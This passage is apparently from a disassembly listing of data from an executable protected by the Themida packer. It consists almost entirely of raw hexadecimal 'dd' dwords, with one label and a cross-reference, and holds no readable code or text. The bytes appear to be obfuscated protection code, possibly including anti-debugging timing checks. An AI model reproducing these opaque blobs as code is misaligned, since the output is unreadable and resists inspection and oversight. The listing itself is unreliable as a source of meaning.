		dd 0FC8AEEF8h, 6AC02Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0D22B53C3h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 890F60B3h, 7, 1850Fh, 81FC0000h,	9CC6AED3h
		dd 880D4Bh, 958B0000h, 5E20BE9h, 0B810F60h, 0E9000000h
		dd 6, 0B2CE69C4h, 0B589600Bh, 5E21B9Dh,	618D8B61h, 6A05E207h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0C40BC353h, 0C8D8CABh, 6830F1Dh, 8B000000h
		dd 0E208EDBDh, 0C28B5005h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 4D66C357h, 5237D7B6h, 6EC868BFh
		dd 6A5B38h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0D4FABAC3h, 0A7831DE6h, 0BD83B3CFh, 5E20D79h
		dd 3F840F00h, 8B000000h, 0B8FBh, 0BD8B0000h, 5E20D05h
		dd 4C428D8Dh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 4AD9CCC3h, 4A4FC381h, 0E1FF283Ah
		dd 0E719D8Bh, 0BD8305E2h, 5E21B55h, 2E840F00h, 0E9000005h
		dd 0Fh,	800C9A2Fh, 0C97D21E1h, 460C40D2h, 51B604DBh, 14E8h
		dd 5E4FBA00h, 8CF38853h, 52BA98D5h, 89AC3365h, 4C3B910Bh
		dd 0DF81661Ah, 5B5B088Eh, 1B55BD83h, 0F0105E2h,	50784h
		dd 0E9515300h, 0Ah, 0B26FA382h,	927595E2h, 5B5F5BCDh, 1B55BD83h
		dd 0F0305E2h, 4B186h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0C8A86DC4h, 0BD09F229h
		dd 5E21365h, 57006A60h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 10AA99C7h, 118BD202h, 13E989h, 89F60000h
		dd 0F79D9B6Dh, 0D62EC638h, 0AF936CEEh, 54B2A13Ah, 0D98C66ACh
		dd 327D9531h, 0E18005E2h, 13E904h, 4ACB0000h, 0F5DB5D7Fh
		dd 570E5AC9h, 0A4FF44F1h, 172B6BD8h, 9D8B609Ch,	5E21025h
		dd 17519D89h, 0A6105E2h, 0EF840FC9h, 6A000001h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 94A2C355h, 3D40A9F7h, 8B319C79h, 0E2241D85h,	56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h
		dd 1D04h, 0C3564600h, 0DD4875ABh, 2AAA30Fh, 50526374h
		dd 9FD9D33h, 5F5F05E2h,	10E8h, 0E1362C00h, 970A7BFFh, 1D071372h
		dd 0AB70E7Ah, 6810F8Bh,	8B000000h, 0E21B85BDh, 85335F05h
		dd 5E22AA9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0CEC35747h, 64FD2DEh, 105587CDh, 0DB816647h, 5090BBC6h
		dd 0FF7B752h, 0D1BB6631h, 50585A61h, 60605250h,	0E2BF6661h
		dd 310F61AEh, 0BF665250h, 310FB75Dh, 585A585Ah,	8A525690h
		dd 6A5B5FFAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0BD33D501h, 5E20BB9h, 4E8h, 1F03FF00h
		dd 0FA8B6600h, 13E950h,	55080000h, 7F594DDBh, 9F881F92h
		dd 806A31BFh, 0C07A279Fh, 24448BF6h, 8E904h, 0EEB20000h
		dd 249E2150h, 8BE31Eh, 50525250h, 5A310F52h, 310F5F58h
		dd 0EC4147BFh, 89585A4Ch, 58042444h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0CFC35242h,	0B860Fh, 6E90000h
		dd 3000000h, 814D932Ah,	6800F8Fh, 89000000h, 0E21A458Dh
		dd 3995FF05h, 6A05E208h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0CA4DC351h,	8D8D897Fh
		dd 8905E205h, 0E5BB9D85h, 85895705h, 5E22261h, 1B6E95Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 62AE2DC3h, 0B8B7FC2Ah, 50EF80F8h,	323D9D8Bh
		dd 858B05E2h, 5E5BB95h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 1EC35242h, 7FA9ECDAh,	1800C7A2h, 1000000h
		dd 0E223058Dh, 99B58B05h, 8B05E5BBh, 0E223919Dh, 68E0F05h
		dd 31000000h, 0E217EDB5h, 0F9858B05h, 6A05E200h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0F660C356h, 0AB64196Bh, 1D31A8ECh, 23E1B529h, 68905E2h
		dd 8BD9BF0Fh, 0E2241D85h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 52C7F511h
		dd 0B86D94D0h, 0DE9h, 1AB9EB00h, 6A794347h, 0C8173718h
		dd 468939BEh, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 6005D4EFh, 0FE6E1634h, 0F99D89FEh
		dd 9605E230h, 9E9h, 0B8CA0C00h,	0E30BF395h, 665099DFh
		dd 966ECEBFh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	29C35242h, 16BA9427h, 6612EE64h, 3FCCF781h, 0BB95B5FFh
		dd 68F905E5h, 0C52E5AEh, 348146B7h, 4DE65124h, 45BD8B0Ch
		dd 8D05E217h, 0E5BB9D85h, 123EBF05h, 8B504AE6h,	240489DAh
		dd 1D399D89h, 46B305E2h, 83995FFh, 6A05E2h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 2C0D0FC3h
		dd 9BD0FF50h, 0BF61D1D6h, 10B21DB5h, 6E961h, 15670000h
		dd 0E1577E57h, 1B5585C7h, 305E2h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 894247C3h
		dd 0E22CB195h, 9DBD8305h, 5E5BBh, 54840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 179FB0C3h, 0E3815060h, 5022E1B3h, 43E95Bh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 890F82C3h, 6, 19059D23h, 305005E2h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 0C38166C0h,	10E9A5FDh
		dd 0C8000000h, 0F28F8FC2h, 209C92EAh, 27BB337Ah, 0E9B3FC46h
		dd 13h,	58F38A6h, 0ED407949h, 255699Dh,	0C7F25A25h, 83D5F819h
		dd 0E21B55BDh, 850F0305h, 3A8h,	0DE8h, 743E4A00h, 7A6D2E3Fh
		dd 43E152FEh, 0BD8B59F3h, 5E2319Dh, 0DE95Bh, 54B60000h
		dd 9C0A7E40h, 0DD20B538h, 83A71F97h, 0E5BB9DBDh, 840F0005h
		dd 370h, 0B5FF63B3h, 5E5BB9Dh, 95FFDA8Bh, 5E2172Dh, 9C18589h
		dd 0B58B05E2h, 5E5BB91h, 6890F60h, 9000000h, 0E20CFD95h
		dd 61D78B05h, 106C7h, 6A0001h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 6E8BDC3h, 92000000h
		dd 0DC943161h, 0F85FF8A5h, 0BB525050h, 71907981h, 6660310Fh
		dd 5A61CB8Bh, 24348958h, 81665660h, 5A85C1C8h, 7ADBD89h
		dd 0FF6105E2h, 0E5BB9DB5h, 56DC8A05h, 0D195FF5Fh, 6A05E22Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 772FC357h, 0B531A40Dh, 5E213B9h, 0BB91B58Bh
		dd 9D8B05E5h, 5E22619h,	10DD858Bh, 0BD2305E2h, 5E22D6Dh
		dd 0C48689h, 8D890000h,	5E231B1h, 0BE9958Bh, 858905E2h
		dd 5E20009h, 6A04C283h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 85E5C351h, 0BE351818h
		dd 0D0D78166h, 89BD0B8Dh, 8905E20Ah, 6A2050h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BD8BCEC3h
		dd 5E21931h, 5B858DF5h,	6A05E5CEh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 8C48C352h
		dd 89B9EB98h, 0B886h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 235D97DBh, 8B66C182h
		dd 6A006AD8h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 4E47C351h, 3D5409D1h, 4B77FDA5h
		dd 411BD03h, 8B6605E2h,	9DB5FFFAh, 6A05E5BBh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0E0D3C355h, 45D3EC5h, 116BCE40h, 13D59D8Bh, 95FF05E2h
		dd 5E214E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0DCC35242h, 0F819D8Bh, 0BF5005E2h, 52733E9Ah, 81243489h
		dd 260C0DEFh, 0FF76B712h, 0E5BB9DB5h, 71BD8905h, 0FF05E20Fh
		dd 0E22D2195h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0FFE7A49Ch, 89BD8321h
		dd 5E200h, 45840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 150424h, 57470000h, 9AA28C3h, 0E204A985h
		dd 0DA8B6605h, 0CE950h,	0F93A0000h, 0ECDF504Ch,	25AEA67Ch
		dd 3489BD3Eh, 4830F24h,	66000000h, 0FFCC4EBFh, 0E5BB9DB5h
		dd 20F38105h, 0FF39EBF9h, 0E2041595h, 22F0BB05h, 0B5FF4F18h
		dd 5E5BB9Dh, 142D8589h,	95FF05E2h, 5E20A59h, 0D85BD33h
		dd 0BD8305E2h, 5E224CDh, 60840F02h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 32D9C356h, 0E381668Eh, 858BE39Dh, 5E21F35h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 57C35141h, 99AAE817h
		dd 0D5D9D0Bh, 0C605E2h,	0FDA8B00h, 680h, 72F78100h, 0C737FF0Dh
		dd 0E20CF985h, 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h
		dd 1B04h, 0C3574700h, 85E6CCBDh, 0A6B8759Bh, 0FFF386E9h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 5EED33D4h, 94C217E1h, 0F1CEBEBBh, 6AC18B01h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 7EF3C355h, 1B705CDBh, 0FA8BF40h, 9589DBB7h
		dd 5E23241h, 8DFFB70Fh,	0E20E9185h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0E0F448C6h
		dd 890931DCh, 0E2075995h, 0BB665005h, 4891A8Ah,	50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0DFB3B0D3h, 575F29BBh, 6A006A2Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0BF7AC357h
		dd 0B776C98h, 0F006AFCh, 2EBBDABFh, 8D120C84h, 0E675B185h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 49278430h, 83DABE4Bh, 0BD8B05C0h, 5E21E95h
		dd 89F98B50h, 11E92404h, 0BB000000h, 1EF51E9Eh,	459A2E82h
		dd 0F344357Eh, 24A24008h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0A22D29C3h, 731DD64Fh
		dd 358DBB3Dh, 6A2F5Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 53C35242h, 64C94740h,	1A2F4A9Bh, 9E9h
		dd 0CE08C100h, 8FABE523h, 95FF21DEh, 5E21E2Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 63C35646h, 39B58951h
		dd 8D05E22Dh, 0E59D808Dh, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 299B5921h
		dd 12E8D1FFh, 54000000h, 0F3152BF1h, 0ABFBB08Bh, 0DC562DD5h
		dd 4764756Fh, 0DFBF0F3Dh, 0B9BD835Bh, 105E200h,	0AA850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0BEAC92C3h, 0F538435h, 583h, 0CF816600h
		dd 6A5FB66Fh, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 5239227Ch, 0BF5ABF22h, 5FA3170Fh
		dd 0D59D8B60h, 6105E231h, 0F525050h, 480h, 2BB6600h, 66310F42h
		dd 5A5E14BBh, 24048958h, 0FF22C380h, 0E214E995h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 8A8435BEh, 89C916E9h, 0E22B418Dh, 0CED78005h, 0E7AE9h
		dd 0E800h, 815D0000h, 0E675BBEDh, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0F33B1E2Ch
		dd 0F60F4D1h, 681h, 598D8900h, 0F05E213h, 687h,	0B5EA8100h
		dd 613588C1h, 0D946D381h, 858D788Eh, 5E58E9Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 62C35242h, 0BB60E4A6h
		dd 3EFF27EDh, 2FA59589h, 16105E2h, 0E217A9B5h, 5E89005h
		dd 4E000000h, 7F0A7394h, 6F3329BFh, 66505B69h, 901ACCBBh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 10C35747h
		dd 0ABD7BF66h, 64F8BF0Fh, 35FFh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0C2CDA3C3h
		dd 5FEF8F22h, 13E8h, 706A8100h,	0C04C0979h, 4190D688h
		dd 8D873553h, 0D6F655E5h, 8D0F60h, 0B4000000h, 0B75F61D9h
		dd 2589646Dh, 0
		dd 2665BD09h, 85FF05E2h, 5E22329h, 0BF0FFF6Ah, 61B5FFD9h
		dd 6A05E223h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 903CC351h, 3451D5F7h, 189D95FFh
		dd 0E4E905E2h, 81000000h, 0C4F48E3h, 900B017h, 0E2068985h
		dd 8970E605h, 0E222ED85h, 971E405h, 0E22191B5h,	7F57BF05h
		dd 613C2C3Fh, 0B9830Fh,	0B60F0000h, 9E9C8h, 48CB0000h
		dd 6F82B9C3h, 66D11A7Bh, 0B1D7C381h, 6BAh, 0B5295600h
		dd 5E20861h, 8BC18B5Bh,	0E22D399Dh, 4E8C105h, 860FDF8Bh
		dd 6, 9A98D89h,	0F76605E2h, 7BBF66E2h, 8BC82B6Bh, 0BBD18BD9h
		dd 261E5068h, 6E9h, 25BD8B00h, 8B05E210h, 0E2066D85h, 0A5BD8905h
		dd 0BB05E20Fh, 4DD20D6Dh, 8B07C083h, 0C083DFh, 0D03BF88Bh
		dd 0B830Fh, 9D8B0000h, 5E20B81h, 32E9h,	5D8D8B00h, 0F05E20Bh
		dd 0E183F9B7h, 20840F01h, 66000000h, 83681ABFh,	0E20B5DA5h
		dd 0BB66FE05h, 9589AA9Ah, 5E2066Dh, 64DB509h, 0E905E2h
		dd 8D000000h, 0E5FD0BB5h, 56FC6005h, 10E9h, 6B760E00h
		dd 0C6A05699h, 0CEE51CC6h, 0E2F02B76h, 0E9615BDBh, 13h
		dd 724C3385h, 69122ECAh, 0EFDE15BCh, 29A4FE74h,	6AC3B2F6h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0BD29A0A4h, 5E219A9h, 1A75BD89h,	95FF05E2h
		dd 5E20AB9h, 48D6C781h,	0EAB9609Fh, 0E9000008h,	12h, 63A16D1Fh
		dd 0A3B54DFFh, 0DAE60B48h, 551F55A4h, 0D98B3A98h, 0FFCE183h
		dd 687h, 65852900h, 0FC05E231h,	31A19589h, 0B805E2h, 0E8000000h
		dd 14h
dword_535554	dd 1D791C9Ah, 3C9B46CCh, 6054967Ch, 0E62DA5ADh,	0FF430D84h
					; DATA XREF: Themida_:004EF72Co
		dd 0D090D381h, 0BA5F73D3h, 0
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 14E9h, 42FA8000h
		dd 8B07218Bh, 6AD79334h, 9EB87DF6h, 6509D07Dh, 198D89B8h
		dd 0D05E225h, 88h, 0BE9958Bh, 0DE905E2h, 1000000h, 0E3D66D72h
		dd 0CAEEFF8h, 0DE3E54F4h, 7618D8Bh, 8D8905E2h, 5E232D9h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	0BD295818h
		dd 5E2302Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	5EC35343h, 83C217E1h, 0E20D79BDh, 840F0005h, 2Dh
		dd 24459D33h, 0B8F805E2h, 0
		dd 1809BD0Bh, 8D8D05E2h, 5E24C42h, 0D5BD2960h, 6605E224h
		dd 62DFE281h, 8BE1FF61h, 0E22C91BDh, 55BD8305h,	5E21Bh
		dd 4FA840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0E394BEC3h, 14840FB6h, 0F000000h
		dd 0E83h, 9E900h, 5F8E0000h, 2B9308CCh,	665AADBFh, 0BD83DA8Bh
		dd 5E21B55h, 0CC840F01h, 6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 31AEC352h
		dd 0EDD7812Bh, 8350C023h, 0E21B55BDh, 860F0305h, 465h
		dd 0F250ACBBh, 3DB5894Eh, 6005E21Bh, 66F9B70Fh,	9D03D98Ch
		dd 5E21185h, 2904E180h,	0E2297595h, 0FC90A05h, 16584h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0F9BF0F67h, 6860F60h, 0F000000h,	86h, 0BE900h
		dd 0ABAD0000h, 0D3841C17h, 0F906C31Fh, 858B6100h, 5E2241Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 55C35343h
		dd 2AA98533h, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 4B6F92C3h, 0E210CA74h, 0CF8166BBh
		dd 850F092Bh, 6, 178D9D29h, 8B5005E2h, 240489DEh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C9C35545h, 0C9C4912Ah
		dd 8B91EA6Bh, 0E2089D9Dh, 52BF6605h, 68006ADCh,	753832D1h
		dd 81D98B66h, 312E2434h, 6A7527h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0DA8BDBC3h, 83995FFh
		dd 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 51D5F7C3h, 157C1134h, 68B0Fh, 0C7810000h
		dd 7FD5511Bh, 0BB9D8589h, 6A05E5h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0C3661C3h, 85FF6B1Ch
		dd 0E99AF4AAh, 260h, 26A1BD2Bh,	858B05E2h, 5E5BB95h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 3BC35646h, 894AA578h
		dd 1800C749h, 0E8000000h, 0Fh, 0E15F99C2h, 0E36EB5C6h
		dd 0F2896510h, 31CCF514h, 0E21B318Dh, 60605F05h, 3265B58Bh
		dd 8A0F05E2h, 0
		dd 19890F61h, 0E8000000h, 13h, 0E1C6D59Ah, 0F8FE606Fh
		dd 633784C0h, 91079735h, 58B9ABFFh, 99B58B61h, 6A05E5BBh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 8B6CC355h, 0D694039Bh, 0C4DB8144h, 0B714B5C0h
		dd 0F9858B7Bh, 8905E200h, 0E210A18Dh, 6A068905h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 5FCAC356h, 7B4CCAA8h, 8B0F6301h, 8, 71BD2B53h, 5F05E21Eh
		dd 1F15BD8Bh, 858B05E2h, 5E2241Dh, 14C5BD0Bh, 468905E2h
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 1DA23BBFh, 695F9167h, 96DFBF0Fh,	0E9575250h
		dd 13h,	0A7380EF5h, 89A91EAAh, 41976F6Eh, 0F36C4E08h, 5F676130h
		dd 0BF66310Fh, 585A2C80h, 14E86050h, 0AE000000h, 3E54F40Ch
		dd 2D55C2DEh, 0C163A3D6h, 113154EDh, 8B186637h,	966158F1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8DC35747h
		dd 95B5FF85h, 6A05E5BBh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 2B53C351h, 0FFC145FFh
		dd 0BF66111Bh, 0B3684FE5h, 66CC31D1h, 81BD97BBh, 324C2404h
		dd 6A33EDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0F6D2AFC3h, 80F986F5h, 97EF8054h,	0BB9D858Dh
		dd 2B6005E5h, 0E223E9BDh, 15858905h, 6105E20Ch,	50DE8B90h
		dd 8E0F5250h, 4, 0CBABBF66h, 6052310Fh,	585A5F61h, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 55FE07DEh, 9B6A7AF1h, 0BF665700h, 8B607119h,	0E20A45BDh
		dd 0BB61F805h, 6F93C7D3h, 83995FFh, 536005E2h, 665B5F57h
		dd 61764ABBh, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0B700BBBEh, 335CFEDCh, 0E22C659Dh
		dd 58B0F05h, 66000000h,	1D1FCF81h, 1B5585C7h, 305E2h, 29500000h
		dd 0E21A4595h, 0BD835F05h, 5E5BB9Dh, 2A840F00h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0AABCC357h, 1016CE45h, 1EE95Eh, 0B70F0000h
		dd 0C3050DAh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 13ED9D8Bh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 9D8B97C3h, 5E21C59h
		dd 1B55BD83h, 0F0305E2h, 50885h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 833F409Bh
		dd 0E5BB9DBDh, 840F0005h, 4DDh,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 6EC35141h, 1DCB07E1h, 0FF2B13D6h
		dd 0E5BB9DB5h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0D2E82F48h, 60FE8B66h
		dd 0D2B70F57h, 95FF6158h, 5E2172Dh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 3EC35040h, 0FEB70F60h, 0B58961FCh
		dd 5E21E01h, 0BB91B58Bh, 6A05E5h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0A29CB4C3h, 6C7F828h
		dd 10001h, 14870Fh, 0FE90000h, 0C5000000h, 9CC0A080h, 9BCA810Eh
		dd 892B95A0h, 95018608h, 5E20E95h, 0E9525050h, 0Fh, 95A6D57Ah
		dd 61A9A6D1h, 545ED61Eh, 0F350E68h, 5AD98B31h, 24348958h
		dd 16A99D89h, 0B5FF05E2h, 5E5BB9Dh, 0D195FFFCh,	0E905E22Bh
		dd 8, 248160D8h, 22B2AFFBh, 0BB91B58Bh,	96005E5h, 0E223E985h
		dd 858B6105h, 5E210DDh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 8AC35646h, 90376B74h,	294ABBB8h, 0E221C185h
		dd 0C4868905h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 4C33C352h, 122ECA72h
		dd 0BD8BBC69h, 5E22209h, 0BE9958Bh, 6A05E2h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0DA8DBAC3h
		dd 27D97379h, 6673C204h, 8841F381h, 6A04C283h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0F796C357h, 8EE6F70Bh, 13E83A59h, 0B000000h,	17B308ECh
		dd 6D6D3354h, 126788F7h, 0C23E7A8h, 0B509B55Bh,	5E21D49h
		dd 0FE95Fh, 0FAB50000h,	3ED50225h, 0FA788A6Dh, 2E0BF00Ah
		dd 205089C1h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	8BC35747h, 6AD79334h, 8DB87DF6h, 0E5CE5B85h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 15A65595h, 0C1852900h, 0E905E208h, 10h, 4FA64F72h, 6F7B428Ah
		dd 785CE3DAh, 0C698814Ch, 0BF1BD23h, 868905E2h,	0B8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D7C35747h, 6A90FBh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 3CC35242h
		dd 68D0Fh, 9D8B0000h, 5E224F1h,	0BB9DB5FFh, 6A05E5h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0C63062C3h, 1D419D0Bh, 95FF05E2h, 5E214E9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 7CC35545h, 48105077h
		dd 7B4EEEEh, 7E864h, 0D7760000h, 0B4792F7h, 1DD78027h
		dd 6860F5Bh, 29000000h,	0E20D7D95h, 0FE8B9605h,	0FB8B6650h
		dd 52006A96h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 24C0D843h, 8D815B08h, 0FA8B66AFh, 0BE8h
		dd 4EC28100h, 0CF9A58A6h, 94F54CECh, 1518531h, 0FF5F05E2h
		dd 0E5BB9DB5h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 4C66F3FAh, 37F38166h
		dd 2195FF61h, 6A05E22Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 8A9EC357h, 63B256CBh
		dd 89BD83h, 0F0005E2h, 2A84h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 8A961ADDh
		dd 24B750F9h, 418D8996h, 0FF05E211h, 0E5BB9DB5h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 8166D209h, 0FF2E3ECFh, 0E2041595h, 51B58905h, 0FF05E215h
		dd 0E5BB9DB5h, 0FFF88B05h, 0E20A5995h, 0BE905h,	99190000h
		dd 0F1ED4C04h, 7C2BD2E2h, 0CDBD8377h, 205E224h,	5F840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 2A3E08C3h, 0F966C6C0h, 0BF4B03A0h, 739563F3h
		dd 1F35858Bh, 6A05E2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 67D545C3h, 7A2DB159h, 80A9FBBEh
		dd 0C6B2CBh, 4BBB6600h,	0F985C789h, 5E20Ch, 60000000h
		dd 9D09FDB0h, 5E22161h
		dd 0BE961h, 36250000h, 0F9E59928h, 0B34E19E5h, 0F2D2E91Dh
